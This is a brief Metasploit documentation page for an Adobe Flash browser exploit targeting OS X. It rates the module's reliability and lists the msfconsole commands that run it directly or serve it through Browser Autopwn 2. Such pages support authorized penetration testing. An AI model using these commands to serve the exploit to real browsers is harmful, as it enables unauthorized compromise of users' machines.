Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Basic Usage
msf > use exploit/osx/browser/adobe_flash_delete_range_tl_op
msf exploit(adobe_flash_delete_range_tl_op) > run
This module is also supported by Browser Autopwn 2.
To load it from Browser Autopwn 2, here's how:
msf > use auxiliary/server/browser_autopwn2
msf auxiliary(browser_autopwn2) > set INCLUDE_PATTERN adobe_flash_delete_range_tl_op
INCLUDE_PATTERN => adobe_flash_delete_range_tl_op
msf auxiliary(browser_autopwn2) > exploit
Go back to menu.
